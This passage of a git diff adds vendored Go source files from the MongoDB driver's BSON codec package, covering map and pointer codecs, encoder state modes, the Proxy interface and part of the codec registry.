instead of + // BSON null. + // + // Deprecated: Use bson.Encoder.NilMapAsEmpty or options.BSONOptions.NilMapAsEmpty instead. + EncodeNilAsEmpty bool + + // EncodeKeysWithStringer causes the Encoder to convert Go map keys to BSON document field name + // strings using fmt.Sprintf() instead of the default string conversion logic. + // + // Deprecated: Use bson.Encoder.StringifyMapKeysWithFmt or + // options.BSONOptions.StringifyMapKeysWithFmt instead. + EncodeKeysWithStringer bool +} + +// KeyMarshaler is the interface implemented by an object that can marshal itself into a string key. +// This applies to types used as map keys and is similar to encoding.TextMarshaler. +type KeyMarshaler interface { + MarshalKey() (key string, err error) +} + +// KeyUnmarshaler is the interface implemented by an object that can unmarshal a string representation +// of itself. This applies to types used as map keys and is similar to encoding.TextUnmarshaler. +// +// UnmarshalKey must be able to decode the form generated by MarshalKey. +// UnmarshalKey must copy the text if it wishes to retain the text +// after returning. +type KeyUnmarshaler interface { + UnmarshalKey(key string) error +} + +// NewMapCodec returns a MapCodec with options opts. +// +// Deprecated: NewMapCodec will not be available in Go Driver 2.0. See +// [MapCodec] for more details. +func NewMapCodec(opts ...*bsonoptions.MapCodecOptions) *MapCodec { + mapOpt := bsonoptions.MergeMapCodecOptions(opts...) + + codec := MapCodec{} + if mapOpt.DecodeZerosMap != nil { + codec.DecodeZerosMap = *mapOpt.DecodeZerosMap + } + if mapOpt.EncodeNilAsEmpty != nil { + codec.EncodeNilAsEmpty = *mapOpt.EncodeNilAsEmpty + } + if mapOpt.EncodeKeysWithStringer != nil { + codec.EncodeKeysWithStringer = *mapOpt.EncodeKeysWithStringer + } + return &codec +} + +// EncodeValue is the ValueEncoder for map[*]* types. +func (mc *MapCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if !val.IsValid() || val.Kind() != reflect.Map { + return ValueEncoderError{Name: "MapEncodeValue", Kinds: []reflect.Kind{reflect.Map}, Received: val} + } + + if val.IsNil() && !mc.EncodeNilAsEmpty && !ec.nilMapAsEmpty { + // If we have a nil map but we can't WriteNull, that means we're probably trying to encode + // to a TopLevel document. We can't currently tell if this is what actually happened, but if + // there's a deeper underlying problem, the error will also be returned from WriteDocument, + // so just continue. The operations on a map reflection value are valid, so we can call + // MapKeys within mapEncodeValue without a problem. + err := vw.WriteNull() + if err == nil { + return nil + } + } + + dw, err := vw.WriteDocument() + if err != nil { + return err + } + + return mc.mapEncodeValue(ec, dw, val, nil) +} + +// mapEncodeValue handles encoding of the values of a map. The collisionFn returns +// true if the provided key exists, this is mainly used for inline maps in the +// struct codec. +func (mc *MapCodec) mapEncodeValue(ec EncodeContext, dw bsonrw.DocumentWriter, val reflect.Value, collisionFn func(string) bool) error { + + elemType := val.Type().Elem() + encoder, err := ec.LookupEncoder(elemType) + if err != nil && elemType.Kind() != reflect.Interface { + return err + } + + keys := val.MapKeys() + for _, key := range keys { + keyStr, err := mc.encodeKey(key, ec.stringifyMapKeysWithFmt) + if err != nil { + return err + } + + if collisionFn != nil && collisionFn(keyStr) { + return fmt.Errorf("Key %s of inlined map conflicts with a struct field name", key) + } + + currEncoder, currVal, lookupErr := defaultValueEncoders.lookupElementEncoder(ec, encoder, val.MapIndex(key)) + if lookupErr != nil && !errors.Is(lookupErr, errInvalidValue) { + return lookupErr + } + + vw, err := dw.WriteDocumentElement(keyStr) + if err != nil { + return err + } + + if errors.Is(lookupErr, errInvalidValue) { + err = vw.WriteNull() + if err != nil { + return err + } + continue + } + + err = currEncoder.EncodeValue(ec, vw, currVal) + if err != nil { + return err + } + } + + return dw.WriteDocumentEnd() +} + +// DecodeValue is the ValueDecoder for map[string/decimal]* types. +func (mc *MapCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if val.Kind() != reflect.Map || (!val.CanSet() && val.IsNil()) { + return ValueDecoderError{Name: "MapDecodeValue", Kinds: []reflect.Kind{reflect.Map}, Received: val} + } + + switch vrType := vr.Type(); vrType { + case bsontype.Type(0), bsontype.EmbeddedDocument: + case bsontype.Null: + val.Set(reflect.Zero(val.Type())) + return vr.ReadNull() + case bsontype.Undefined: + val.Set(reflect.Zero(val.Type())) + return vr.ReadUndefined() + default: + return fmt.Errorf("cannot decode %v into a %s", vrType, val.Type()) + } + + dr, err := vr.ReadDocument() + if err != nil { + return err + } + + if val.IsNil() { + val.Set(reflect.MakeMap(val.Type())) + } + + if val.Len() > 0 && (mc.DecodeZerosMap || dc.zeroMaps) { + clearMap(val) + } + + eType := val.Type().Elem() + decoder, err := dc.LookupDecoder(eType) + if err != nil { + return err + } + eTypeDecoder, _ := decoder.(typeDecoder) + + if eType == tEmpty { + dc.Ancestor = val.Type() + } + + keyType := val.Type().Key() + + for { + key, vr, err := dr.ReadElement() + if errors.Is(err, bsonrw.ErrEOD) { + break + } + if err != nil { + return err + } + + k, err := mc.decodeKey(key, keyType) + if err != nil { + return err + } + + elem, err := decodeTypeOrValueWithInfo(decoder, eTypeDecoder, dc, vr, eType, true) + if err != nil { + return newDecodeError(key, err) + } + + val.SetMapIndex(k, elem) + } + return nil +} + +func clearMap(m reflect.Value) { + var none reflect.Value + for _, k := range m.MapKeys() { + m.SetMapIndex(k, none) + } +} + +func (mc *MapCodec) encodeKey(val reflect.Value, encodeKeysWithStringer bool) (string, error) { + if mc.EncodeKeysWithStringer || encodeKeysWithStringer { + return fmt.Sprint(val), nil + } + + // keys of any string type are used directly + if val.Kind() == reflect.String { + return val.String(), nil + } + // KeyMarshalers are marshaled + if km, ok := val.Interface().(KeyMarshaler); ok { + if val.Kind() == reflect.Ptr && val.IsNil() { + return "", nil + } + buf, err := km.MarshalKey() + if err == nil { + return buf, nil + } + return "", err + } + // keys implement encoding.TextMarshaler are marshaled. + if km, ok := val.Interface().(encoding.TextMarshaler); ok { + if val.Kind() == reflect.Ptr && val.IsNil() { + return "", nil + } + + buf, err := km.MarshalText() + if err != nil { + return "", err + } + + return string(buf), nil + } + + switch val.Kind() { + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + return strconv.FormatInt(val.Int(), 10), nil + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: + return strconv.FormatUint(val.Uint(), 10), nil + } + return "", fmt.Errorf("unsupported key type: %v", val.Type()) +} + +var keyUnmarshalerType = reflect.TypeOf((*KeyUnmarshaler)(nil)).Elem() +var textUnmarshalerType = reflect.TypeOf((*encoding.TextUnmarshaler)(nil)).Elem() + +func (mc *MapCodec) decodeKey(key string, keyType reflect.Type) (reflect.Value, error) { + keyVal := reflect.ValueOf(key) + var err error + switch { + // First, if EncodeKeysWithStringer is not enabled, try to decode withKeyUnmarshaler + case !mc.EncodeKeysWithStringer && reflect.PtrTo(keyType).Implements(keyUnmarshalerType): + keyVal = reflect.New(keyType) + v := keyVal.Interface().(KeyUnmarshaler) + err = v.UnmarshalKey(key) + keyVal = keyVal.Elem() + // Try to decode encoding.TextUnmarshalers. + case reflect.PtrTo(keyType).Implements(textUnmarshalerType): + keyVal = reflect.New(keyType) + v := keyVal.Interface().(encoding.TextUnmarshaler) + err = v.UnmarshalText([]byte(key)) + keyVal = keyVal.Elem() + // Otherwise, go to type specific behavior + default: + switch keyType.Kind() { + case reflect.String: + keyVal = reflect.ValueOf(key).Convert(keyType) + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + n, parseErr := strconv.ParseInt(key, 10, 64) + if parseErr != nil || reflect.Zero(keyType).OverflowInt(n) { + err = fmt.Errorf("failed to unmarshal number key %v", key) + } + keyVal = reflect.ValueOf(n).Convert(keyType) + case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: + n, parseErr := strconv.ParseUint(key, 10, 64) + if parseErr != nil || reflect.Zero(keyType).OverflowUint(n) { + err = fmt.Errorf("failed to unmarshal number key %v", key) + break + } + keyVal = reflect.ValueOf(n).Convert(keyType) + case reflect.Float32, reflect.Float64: + if mc.EncodeKeysWithStringer { + parsed, err := strconv.ParseFloat(key, 64) + if err != nil { + return keyVal, fmt.Errorf("Map key is defined to be a decimal type (%v) but got error %w", keyType.Kind(), err) + } + keyVal = reflect.ValueOf(parsed) + break + } + fallthrough + default: + return keyVal, fmt.Errorf("unsupported key type: %v", keyType) + } + } + return keyVal, err +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/mode.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/mode.go new file mode 100644 index 00000000..fbd9f0a9 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/mode.go @@ -0,0 +1,65 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import "fmt" + +type mode int + +const ( + _ mode = iota + mTopLevel + mDocument + mArray + mValue + mElement + mCodeWithScope + mSpacer +) + +func (m mode) String() string { + var str string + + switch m { + case mTopLevel: + str = "TopLevel" + case mDocument: + str = "DocumentMode" + case mArray: + str = "ArrayMode" + case mValue: + str = "ValueMode" + case mElement: + str = "ElementMode" + case mCodeWithScope: + str = "CodeWithScopeMode" + case mSpacer: + str = "CodeWithScopeSpacerFrame" + default: + str = "UnknownMode" + } + + return str +} + +// TransitionError is an error returned when an invalid progressing a +// ValueReader or ValueWriter state machine occurs. +type TransitionError struct { + parent mode + current mode + destination mode +} + +func (te TransitionError) Error() string { + if te.destination == mode(0) { + return fmt.Sprintf("invalid state transition: cannot read/write value while in %s", te.current) + } + if te.parent == mode(0) { + return fmt.Sprintf("invalid state transition: %s -> %s", te.current, te.destination) + } + return fmt.Sprintf("invalid state transition: %s -> %s; parent %s", te.current, te.destination, te.parent) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/pointer_codec.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/pointer_codec.go new file mode 100644 index 00000000..ddfa4a33 --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/pointer_codec.go @@ -0,0 +1,108 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "reflect" + + "go.mongodb.org/mongo-driver/bson/bsonrw" + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +var _ ValueEncoder = &PointerCodec{} +var _ ValueDecoder = &PointerCodec{} + +// PointerCodec is the Codec used for pointers. +// +// Deprecated: PointerCodec will not be directly accessible in Go Driver 2.0. To +// override the default pointer encode and decode behavior, create a new registry +// with [go.mongodb.org/mongo-driver/bson.NewRegistry] and register a new +// encoder and decoder for pointers. +// +// For example, +// +// reg := bson.NewRegistry() +// reg.RegisterKindEncoder(reflect.Ptr, myPointerEncoder) +// reg.RegisterKindDecoder(reflect.Ptr, myPointerDecoder) +type PointerCodec struct { + ecache typeEncoderCache + dcache typeDecoderCache +} + +// NewPointerCodec returns a PointerCodec that has been initialized. +// +// Deprecated: NewPointerCodec will not be available in Go Driver 2.0. See +// [PointerCodec] for more details. +func NewPointerCodec() *PointerCodec { + return &PointerCodec{} +} + +// EncodeValue handles encoding a pointer by either encoding it to BSON Null if the pointer is nil +// or looking up an encoder for the type of value the pointer points to. +func (pc *PointerCodec) EncodeValue(ec EncodeContext, vw bsonrw.ValueWriter, val reflect.Value) error { + if val.Kind() != reflect.Ptr { + if !val.IsValid() { + return vw.WriteNull() + } + return ValueEncoderError{Name: "PointerCodec.EncodeValue", Kinds: []reflect.Kind{reflect.Ptr}, Received: val} + } + + if val.IsNil() { + return vw.WriteNull() + } + + typ := val.Type() + if v, ok := pc.ecache.Load(typ); ok { + if v == nil { + return ErrNoEncoder{Type: typ} + } + return v.EncodeValue(ec, vw, val.Elem()) + } + // TODO(charlie): handle concurrent requests for the same type + enc, err := ec.LookupEncoder(typ.Elem()) + enc = pc.ecache.LoadOrStore(typ, enc) + if err != nil { + return err + } + return enc.EncodeValue(ec, vw, val.Elem()) +} + +// DecodeValue handles decoding a pointer by looking up a decoder for the type it points to and +// using that to decode. If the BSON value is Null, this method will set the pointer to nil. +func (pc *PointerCodec) DecodeValue(dc DecodeContext, vr bsonrw.ValueReader, val reflect.Value) error { + if !val.CanSet() || val.Kind() != reflect.Ptr { + return ValueDecoderError{Name: "PointerCodec.DecodeValue", Kinds: []reflect.Kind{reflect.Ptr}, Received: val} + } + + typ := val.Type() + if vr.Type() == bsontype.Null { + val.Set(reflect.Zero(typ)) + return vr.ReadNull() + } + if vr.Type() == bsontype.Undefined { + val.Set(reflect.Zero(typ)) + return vr.ReadUndefined() + } + + if val.IsNil() { + val.Set(reflect.New(typ.Elem())) + } + + if v, ok := pc.dcache.Load(typ); ok { + if v == nil { + return ErrNoDecoder{Type: typ} + } + return v.DecodeValue(dc, vr, val.Elem()) + } + // TODO(charlie): handle concurrent requests for the same type + dec, err := dc.LookupDecoder(typ.Elem()) + dec = pc.dcache.LoadOrStore(typ, dec) + if err != nil { + return err + } + return dec.DecodeValue(dc, vr, val.Elem()) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/proxy.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/proxy.go new file mode 100644 index 00000000..4cf2b01a --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/proxy.go @@ -0,0 +1,14 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +// Proxy is an interface implemented by types that cannot themselves be directly encoded. Types +// that implement this interface with have ProxyBSON called during the encoding process and that +// value will be encoded in place for the implementer. +type Proxy interface { + ProxyBSON() (interface{}, error) +} diff --git a/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/registry.go b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/registry.go new file mode 100644 index 00000000..196c491b --- /dev/null +++ b/vendor/go.mongodb.org/mongo-driver/bson/bsoncodec/registry.go @@ -0,0 +1,524 @@ +// Copyright (C) MongoDB, Inc. 2017-present. +// +// Licensed under the Apache License, Version 2.0 (the "License"); you may +// not use this file except in compliance with the License. You may obtain +// a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 + +package bsoncodec + +import ( + "errors" + "fmt" + "reflect" + "sync" + + "go.mongodb.org/mongo-driver/bson/bsontype" +) + +// ErrNilType is returned when nil is passed to either LookupEncoder or LookupDecoder. +// +// Deprecated: ErrNilType will not be supported in Go Driver 2.0. +var ErrNilType = errors.New("cannot perform a decoder lookup on ") + +// ErrNotPointer is returned when a non-pointer type is provided to LookupDecoder. +// +// Deprecated: ErrNotPointer will not be supported in Go Driver 2.0. +var ErrNotPointer = errors.New("non-pointer provided to LookupDecoder") + +// ErrNoEncoder is returned when there wasn't an encoder available for a type. +// +// Deprecated: ErrNoEncoder will not be supported in Go Driver 2.0. +type ErrNoEncoder struct { + Type reflect.Type +} + +func (ene ErrNoEncoder) Error() string { + if ene.Type == nil { + return "no encoder found for " + } + return "no encoder found for " + ene.Type.String() +} + +// ErrNoDecoder is returned when there wasn't a decoder available for a type. +// +// Deprecated: ErrNoDecoder will not be supported in Go Driver 2.0. +type ErrNoDecoder struct { + Type reflect.Type +} + +func (end ErrNoDecoder) Error() string { + return "no decoder found for " + end.Type.String() +} + +// ErrNoTypeMapEntry is returned when there wasn't a type available for the provided BSON type. +// +// Deprecated: ErrNoTypeMapEntry will not be supported in Go Driver 2.0. +type ErrNoTypeMapEntry struct { + Type bsontype.Type +} + +func (entme ErrNoTypeMapEntry) Error() string { + return "no type map entry found for " + entme.Type.String() +} + +// ErrNotInterface is returned when the provided type is not an interface. +// +// Deprecated: ErrNotInterface will not be supported in Go Driver 2.0. +var ErrNotInterface = errors.New("The provided type is not an interface") + +// A RegistryBuilder is used to build a Registry. This type is not goroutine +// safe. +// +// Deprecated: Use Registry instead. +type RegistryBuilder struct { + registry *Registry +} + +// NewRegistryBuilder creates a new empty RegistryBuilder. +// +// Deprecated: Use NewRegistry instead. +func NewRegistryBuilder() *RegistryBuilder { + return &RegistryBuilder{ + registry: NewRegistry(), + } +} + +// RegisterCodec will register the provided ValueCodec for the provided type. +// +// Deprecated: Use Registry.RegisterTypeEncoder and Registry.RegisterTypeDecoder instead. +func (rb *RegistryBuilder) RegisterCodec(t reflect.Type, codec ValueCodec) *RegistryBuilder { + rb.RegisterTypeEncoder(t, codec) + rb.RegisterTypeDecoder(t, codec) + return rb +} + +// RegisterTypeEncoder will register the provided ValueEncoder for the provided type. +// +// The type will be used directly, so an encoder can be registered for a type and a different encoder can be registered +// for a pointer to that type. +// +// If the given type is an interface, the encoder will be called when marshaling a type that is that interface. It +// will not be called when marshaling a non-interface type that implements the interface. +// +// Deprecated: Use Registry.RegisterTypeEncoder instead. +func (rb *RegistryBuilder) RegisterTypeEncoder(t reflect.Type, enc ValueEncoder) *RegistryBuilder { + rb.registry.RegisterTypeEncoder(t, enc) + return rb +} + +// RegisterHookEncoder will register an encoder for the provided interface type t. This encoder will be called when +// marshaling a type if the type implements t or a pointer to the type implements t. If the provided type is not +// an interface (i.e. t.Kind() != reflect.Interface), this method will panic. +// +// Deprecated: Use Registry.RegisterInterfaceEncoder instead. +func (rb *RegistryBuilder) RegisterHookEncoder(t reflect.Type, enc ValueEncoder) *RegistryBuilder { + rb.registry.RegisterInterfaceEncoder(t, enc) + return rb +} + +// RegisterTypeDecoder will register the provided ValueDecoder for the provided type. +// +// The type will be used directly, so a decoder can be registered for a type and a different decoder can be registered +// for a pointer to that type. +// +// If the given type is an interface, the decoder will be called when unmarshaling into a type that is that interface. +// It will not be called when unmarshaling into a non-interface type that implements the interface. +// +// Deprecated: Use Registry.RegisterTypeDecoder instead. +func (rb *RegistryBuilder) RegisterTypeDecoder(t reflect.Type, dec ValueDecoder) *RegistryBuilder { + rb.registry.RegisterTypeDecoder(t, dec) + return rb +} + +// RegisterHookDecoder will register an decoder for the provided interface type t. This decoder will be called when +// unmarshaling into a type if the type implements t or a pointer to the type implements t. If the provided type is not +// an interface (i.e. t.Kind() != reflect.Interface), this method will panic. +// +// Deprecated: Use Registry.RegisterInterfaceDecoder instead. +func (rb *RegistryBuilder) RegisterHookDecoder(t reflect.Type, dec ValueDecoder) *RegistryBuilder { + rb.registry.RegisterInterfaceDecoder(t, dec) + return rb +} + +// RegisterEncoder registers the provided type and encoder pair. +// +// Deprecated: Use Registry.RegisterTypeEncoder or Registry.RegisterInterfaceEncoder instead. +func (rb *RegistryBuilder) RegisterEncoder(t reflect.Type, enc ValueEncoder) *RegistryBuilder { + if t == tEmpty { + rb.registry.RegisterTypeEncoder(t, enc) + return rb + } + switch t.Kind() { + case reflect.Interface: + rb.registry.RegisterInterfaceEncoder(t, enc) + default: + rb.registry.RegisterTypeEncoder(t, enc) + } + return rb +} + +// RegisterDecoder registers the provided type and decoder pair. +// +// Deprecated: Use Registry.RegisterTypeDecoder or Registry.RegisterInterfaceDecoder instead. +func (rb *RegistryBuilder) RegisterDecoder(t reflect.Type, dec ValueDecoder) *RegistryBuilder { + if t == nil { + rb.registry.RegisterTypeDecoder(t, dec) + return rb + } + if t == tEmpty { + rb.registry.RegisterTypeDecoder(t, dec) + return rb + } + switch t.Kind() { + case reflect.Interface: + rb.registry.RegisterInterfaceDecoder(t, dec) + default: + rb.registry.RegisterTypeDecoder(t, dec) + } + return rb +} + +// RegisterDefaultEncoder will register the provided ValueEncoder to the provided +// kind. +// +// Deprecated: Use Registry.RegisterKindEncoder instead. +func (rb *RegistryBuilder) RegisterDefaultEncoder(kind reflect.Kind, enc ValueEncoder) *RegistryBuilder { + rb.registry.RegisterKindEncoder(kind, enc) + return rb +} + +// RegisterDefaultDecoder will register the provided ValueDecoder to the +// provided kind. +// +// Deprecated: Use Registry.RegisterKindDecoder instead. +func (rb *RegistryBuilder) RegisterDefaultDecoder(kind reflect.Kind, dec ValueDecoder) *RegistryBuilder { + rb.registry.RegisterKindDecoder(kind, dec) + return rb +} + +// RegisterTypeMapEntry will register the provided type to the BSON type. The primary usage for this +// mapping is decoding situations where an empty interface is used and a default type needs to be +// created and decoded into. +// +// By default, BSON documents will decode into interface{} values as bson.D. To change the default type for BSON +// documents, a type map entry for bsontype.EmbeddedDocument should be registered. For example, to force BSON documents +// to decode to bson.Raw, use the following code: +// +// rb.RegisterTypeMapEntry(bsontype.EmbeddedDocument, reflect.TypeOf(bson.Raw{})) +// +// Deprecated: Use Registry.RegisterTypeMapEntry instead. +func (rb *RegistryBuilder) RegisterTypeMapEntry(bt bsontype.Type, rt reflect.Type) *RegistryBuilder { + rb.registry.RegisterTypeMapEntry(bt, rt) + return rb +} + +// Build creates a Registry from the current state of this RegistryBuilder. +// +// Deprecated: Use NewRegistry instead. +func (rb *RegistryBuilder) Build() *Registry { + r := &Registry{ + interfaceEncoders: append([]interfaceValueEncoder(nil), rb.registry.interfaceEncoders...), + interfaceDecoders: append([]interfaceValueDecoder(nil), rb.registry.interfaceDecoders...), + typeEncoders: rb.registry.typeEncoders.Clone(), + typeDecoders: rb.registry.typeDecoders.Clone(), + kindEncoders: rb.registry.kindEncoders.Clone(), + kindDecoders: rb.registry.kindDecoders.Clone(), + } + rb.registry.typeMap.Range(func(k, v interface{}) bool { + if k != nil && v != nil { + r.typeMap.Store(k, v) + } + return true + }) + return r +} + +// A Registry is used to store and retrieve codecs for types and interfaces. This type is the main +// typed passed around and Encoders and Decoders are constructed from it. +type Registry struct { + interfaceEncoders []interfaceValueEncoder + interfaceDecoders []interfaceValueDecoder + typeEncoders *typeEncoderCache + typeDecoders *typeDecoderCache + kindEncoders *kindEncoderCache + kindDecoders *kindDecoderCache + typeMap sync.Map // map[bsontype.Type]reflect.Type +} + +// NewRegistry creates a new empty Registry. +func NewRegistry() *Registry { + return &Registry{ + typeEncoders: new(typeEncoderCache), + typeDecoders: new(typeDecoderCache), + kindEncoders: new(kindEncoderCache), + kindDecoders: new(kindDecoderCache), + } +} + +// RegisterTypeEncoder registers the provided ValueEncoder for the provided type. +// +// The type will be used as provided, so an encoder can be registered for a type and a different +// encoder can be registered for a pointer to that type. +// +// If the given type is an interface, the encoder will be called when marshaling a type that is +// that interface. It will not be called when marshaling a non-interface type that implements the +// interface. To get the latter behavior, call RegisterHookEncoder instead. +// +// RegisterTypeEncoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterTypeEncoder(valueType reflect.Type, enc ValueEncoder) { + r.typeEncoders.Store(valueType, enc) +} + +// RegisterTypeDecoder registers the provided ValueDecoder for the provided type. +// +// The type will be used as provided, so a decoder can be registered for a type and a different +// decoder can be registered for a pointer to that type. +// +// If the given type is an interface, the decoder will be called when unmarshaling into a type that +// is that interface. It will not be called when unmarshaling into a non-interface type that +// implements the interface. To get the latter behavior, call RegisterHookDecoder instead. +// +// RegisterTypeDecoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterTypeDecoder(valueType reflect.Type, dec ValueDecoder) { + r.typeDecoders.Store(valueType, dec) +} + +// RegisterKindEncoder registers the provided ValueEncoder for the provided kind. +// +// Use RegisterKindEncoder to register an encoder for any type with the same underlying kind. For +// example, consider the type MyInt defined as +// +// type MyInt int32 +// +// To define an encoder for MyInt and int32, use RegisterKindEncoder like +// +// reg.RegisterKindEncoder(reflect.Int32, myEncoder) +// +// RegisterKindEncoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterKindEncoder(kind reflect.Kind, enc ValueEncoder) { + r.kindEncoders.Store(kind, enc) +} + +// RegisterKindDecoder registers the provided ValueDecoder for the provided kind. +// +// Use RegisterKindDecoder to register a decoder for any type with the same underlying kind. For +// example, consider the type MyInt defined as +// +// type MyInt int32 +// +// To define an decoder for MyInt and int32, use RegisterKindDecoder like +// +// reg.RegisterKindDecoder(reflect.Int32, myDecoder) +// +// RegisterKindDecoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterKindDecoder(kind reflect.Kind, dec ValueDecoder) { + r.kindDecoders.Store(kind, dec) +} + +// RegisterInterfaceEncoder registers an encoder for the provided interface type iface. This encoder will +// be called when marshaling a type if the type implements iface or a pointer to the type +// implements iface. If the provided type is not an interface +// (i.e. iface.Kind() != reflect.Interface), this method will panic. +// +// RegisterInterfaceEncoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterInterfaceEncoder(iface reflect.Type, enc ValueEncoder) { + if iface.Kind() != reflect.Interface { + panicStr := fmt.Errorf("RegisterInterfaceEncoder expects a type with kind reflect.Interface, "+ + "got type %s with kind %s", iface, iface.Kind()) + panic(panicStr) + } + + for idx, encoder := range r.interfaceEncoders { + if encoder.i == iface { + r.interfaceEncoders[idx].ve = enc + return + } + } + + r.interfaceEncoders = append(r.interfaceEncoders, interfaceValueEncoder{i: iface, ve: enc}) +} + +// RegisterInterfaceDecoder registers an decoder for the provided interface type iface. This decoder will +// be called when unmarshaling into a type if the type implements iface or a pointer to the type +// implements iface. If the provided type is not an interface (i.e. iface.Kind() != reflect.Interface), +// this method will panic. +// +// RegisterInterfaceDecoder should not be called concurrently with any other Registry method. +func (r *Registry) RegisterInterfaceDecoder(iface reflect.Type, dec ValueDecoder) { + if iface.Kind() != reflect.Interface { + panicStr := fmt.Errorf("RegisterInterfaceDecoder expects a type with kind reflect.Interface, "+ + "got type %s with kind %s", iface, iface.Kind()) + panic(panicStr) + } + + for idx, decoder := range r.interfaceDecoders { + if decoder.i == iface { + r.interfaceDecoders[idx].vd = dec + return + } + } + + r.interfaceDecoders = append(r.interfaceDecoders, interfaceValueDecoder{i: iface, vd: dec}) +} + +// RegisterTypeMapEntry will register the provided type to the BSON type. The primary usage for this +// mapping is decoding situations where an empty interface is used and a default type needs to be +// created and decoded into. +// +// By default, BSON documents will decode into interface{} values as bson.D. To change the default type for BSON +// documents, a type map entry for bsontype.EmbeddedDocument should be registered. For example, to force BSON documents +// to decode to bson.Raw, use the following code: +// +// reg.RegisterTypeMapEntry(bsontype.EmbeddedDocument, reflect.TypeOf(bson.Raw{})) +func (r *Registry) RegisterTypeMapEntry(bt bsontype.Type, rt reflect.Type) { + r.typeMap.Store(bt, rt) +} + +// LookupEncoder returns the first matching encoder in the Registry. It uses the following lookup +// order: +// +// 1. An encoder registered for the exact type. If the given type is an interface, an encoder +// registered using RegisterTypeEncoder for that interface will be selected. +// +// 2. An encoder registered using RegisterInterfaceEncoder for an interface implemented by the type +// or by a pointer to the type. +// +// 3. An encoder registered using RegisterKindEncoder for the kind of value. +// +// If no encoder is found, an error of type ErrNoEncoder is returned. LookupEncoder is safe for +// concurrent use by multiple goroutines after all codecs and encoders are registered. +func (r *Registry) LookupEncoder(valueType reflect.Type) (ValueEncoder, error) { + if valueType == nil { + return nil, ErrNoEncoder{Type: valueType} + } + enc, found := r.lookupTypeEncoder(valueType) + if found { + if enc == nil { + return nil, ErrNoEncoder{Type: valueType} + } + return enc, nil + } + + enc, found = r.lookupInterfaceEncoder(valueType, true) + if found { + return r.typeEncoders.LoadOrStore(valueType, enc), nil + } + + if v, ok := r.kindEncoders.Load(valueType.Kind()); ok { + return r.storeTypeEncoder(valueType, v), nil + } + return nil, ErrNoEncoder{Type: valueType} +} + +func (r *Registry) storeTypeEncoder(rt reflect.Type, enc ValueEncoder) ValueEncoder { + return r.typeEncoders.LoadOrStore(rt, enc) +} + +func (r *Registry) lookupTypeEncoder(rt reflect.Type) (ValueEncoder, bool) { + return r.typeEncoders.Load(rt) +} + +func (r *Registry) lookupInterfaceEncoder(valueType reflect.Type, allowAddr bool) (ValueEncoder, bool) { + if valueType == nil { + return nil, false + } + for _, ienc := range r.interfaceEncoders { + if valueType.Implements(ienc.i) { + return ienc.ve, true + } + if allowAddr && valueType.Kind() != reflect.Ptr && reflect.PtrTo(valueType).Implements(ienc.i) { + // if *t implements an interface, this will catch if t implements an interface further + // ahead in interfaceEncoders + defaultEnc, found := r.lookupInterfaceEncoder(valueType, false) + if !found { + defaultEnc, _ = r.kindEncoders.Load(valueType.Kind()) + } + return newCondAddrEncoder(ienc.ve, defaultEnc), true + } + } + return nil, false +} + +// LookupDecoder returns the first matching decoder in the Registry. It uses the following lookup +// order: +// +// 1. A decoder registered for the exact type. If the given type is an interface, a decoder +// registered using RegisterTypeDecoder for that interface will be selected. +// +// 2. A decoder registered using RegisterInterfaceDecoder for an interface implemented by the type or by +// a pointer to the type. +// +// 3. A decoder registered using RegisterKindDecoder for the kind of value. +// +// If no decoder is found, an error of type ErrNoDecoder is returned. LookupDecoder is safe for +// concurrent use by multiple goroutines after all codecs and decoders are registered. +func (r *Registry) LookupDecoder(valueType reflect.Type) (ValueDecoder, error) { + if valueType == nil { + return nil, ErrNilType + } + dec, found := r.lookupTypeDecoder(valueType) + if found { + if dec == nil { + return nil, ErrNoDecoder{Type: valueType} + } + return dec, nil + } + + dec, found = r.lookupInterfaceDecoder(valueType, true) + if found { + return r.storeTypeDecoder(valueType, dec), nil + } + + if v, ok := r.kindDecoders.Load(valueType.Kind()); ok { + return r.storeTypeDecoder(valueType, v), nil + } + return nil, ErrNoDecoder{Type: valueType} +} + +func (r *Registry) lookupTypeDecoder(valueType reflect.Type) (ValueDecoder, bool) { + return r.typeDecoders.Load(valueType) +} + +func (r *Registry) storeTypeDecoder(typ reflect.Type, dec ValueDecoder) ValueDecoder { + return r.typeDecoders.LoadOrStore(typ, dec) +} + +func (r *Registry) lookupInterfaceDecoder(valueType reflect.Type, allowAddr bool) 